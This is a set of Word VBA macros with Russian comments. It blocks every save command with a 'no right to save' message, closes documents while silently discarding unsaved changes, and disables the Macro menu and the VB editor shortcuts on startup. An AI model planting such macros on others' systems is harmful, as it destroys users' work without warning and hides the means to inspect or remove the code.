Sub FileSave()
'
' FileSave Макрос
' Сохранение активного документа или шаблона
'
    MsgBox "Вы не имеете права сохранять документы!", vbCritical
    Exit Sub
    
    ActiveDocument.Save
End Sub

Sub FileSaveAll()
'
' FileSaveAll Макрос
' Сохранение всех открытых файлов, макросов и элементов автотекста
'
    MsgBox "Вы не имеете права сохранять документы!", vbCritical
    Exit Sub
    
    Documents.Save
End Sub

Sub FileSaveAs()
'
' FileSaveAs Макрос
' Сохранение копии документа в другой файл
'
    MsgBox "Вы не имеете права сохранять документы!", vbCritical
    Exit Sub
    
    Dialogs(wdDialogFileSaveAs).Show
End Sub

Sub FileClose()
'
' FileClose Макрос
' Закрытие всех окон активного документа
'
    If ActiveDocument.Saved = False Then ActiveDocument.Saved = True
    
    WordBasic.FileClose
End Sub

'Выполняется при запуске ворда
Sub Autorun()
    Dim c As CommandBarControl
    
    'Деактивируем все пункты меню "Макрос"
    With Application.CommandBars("Macro")
        For Each c In .Controls
            c.Enabled = False
        Next
    End With
    
    'Закрываем доступ к редактору VB (в меру развитый пользователь без труда деактивирует эти запреты, а так...) и окну макросов
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
    
    Application.NormalTemplate.Save
End Sub